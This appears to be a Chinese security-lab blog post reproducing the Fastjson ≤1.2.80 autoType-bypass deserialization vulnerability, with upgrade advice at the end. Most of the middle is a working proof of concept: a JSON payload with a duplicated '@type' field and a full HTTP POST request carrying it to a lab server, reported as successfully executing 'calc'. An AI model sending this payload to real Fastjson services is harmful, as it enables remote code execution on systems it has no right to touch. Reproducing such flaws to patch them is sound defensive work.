Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON字符串,也可以从 JSON 字符串反序列化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞,攻击者可以在特定依赖下利用此漏洞绕过默认autoType 关闭限制,从而反序列化有安全风险的类。
网安引领时代,弥天点亮未来
Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON字符串,也可以从 JSON 字符串反序列化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞,攻击者可以在特定依赖下利用此漏洞绕过默认autoType 关闭限制,从而反序列化有安全风险的类。
FastJson ≤1.2.80
漏洞payload
{
"@type": "java.lang.Exception",
"@type": "com.github.isafeblue.fastjson.SimpleException",
"domain": "calc"
}
下载源码启动环境,发送payload
POST /addComment HTTP/1.1
Host: 10.211.55.7:8099
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 40
Content-Type: application/json; charset=utf-8
Cookie: LOGIN_LANG=cn
Origin: http://10.211.55.7:8099
Referer: http://10.211.55.7:8099/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
X-Requested-With: XMLHttpRequest
{
"@type": "java.lang.Exception",
"@type": "com.github.isafeblue.fastjson.SimpleException",
"domain": "calc"
}
成功执行
1、升级至版本 FastJson 1.2.83:
https://github.com/alibaba/fastjson/releases/tag/1.2.83
2、升级到 FastJosn v2:
https://github.com/alibaba/fastjson2/releases
知识分享完了
喜欢别忘了关注我们哦~
弥 天
安全实验室